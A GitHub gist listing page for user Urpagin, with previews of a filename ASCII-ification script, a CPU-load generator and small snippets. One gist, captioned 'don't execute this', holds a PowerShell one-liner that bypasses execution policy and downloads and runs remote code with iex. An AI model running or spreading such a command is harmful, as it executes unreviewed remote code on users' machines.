Skip to content

Instantly share code, notes, and snippets.

View Urpagin's full-sized avatar
🈳
Diffusion Frro Em

Urpagin Urpagin

🈳
Diffusion Frro Em
View GitHub Profile
@Urpagin
Urpagin / detox_ascii.py
Created May 30, 2025 12:14
Small Python Filename ASCII-ification (similar to detox)
#!/usr/bin/env python3
# Author: Urpagin
# Date: 2025-05-30
# Description: Removes any non-ASCII character in files and folders passed in arguments. Replaces spaces with underscores. If empty, error out.
import sys
import argparse
from glob import iglob
from pathlib import Path
@Urpagin
Urpagin / e.ps1
Last active November 11, 2025 22:34
don't execute this
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://gist.githubusercontent.com/Urpagin/6e81101866e5fbe3a9449f8def34af1d/raw/50a32bc4f8f652e08862d18b4f639acb22aa26ce/e.py'))"
#!/usr/bin/env python
"""
Produces load on all available CPU cores
"""
from multiprocessing import Pool
from multiprocessing import cpu_count
def f(x):
echo hello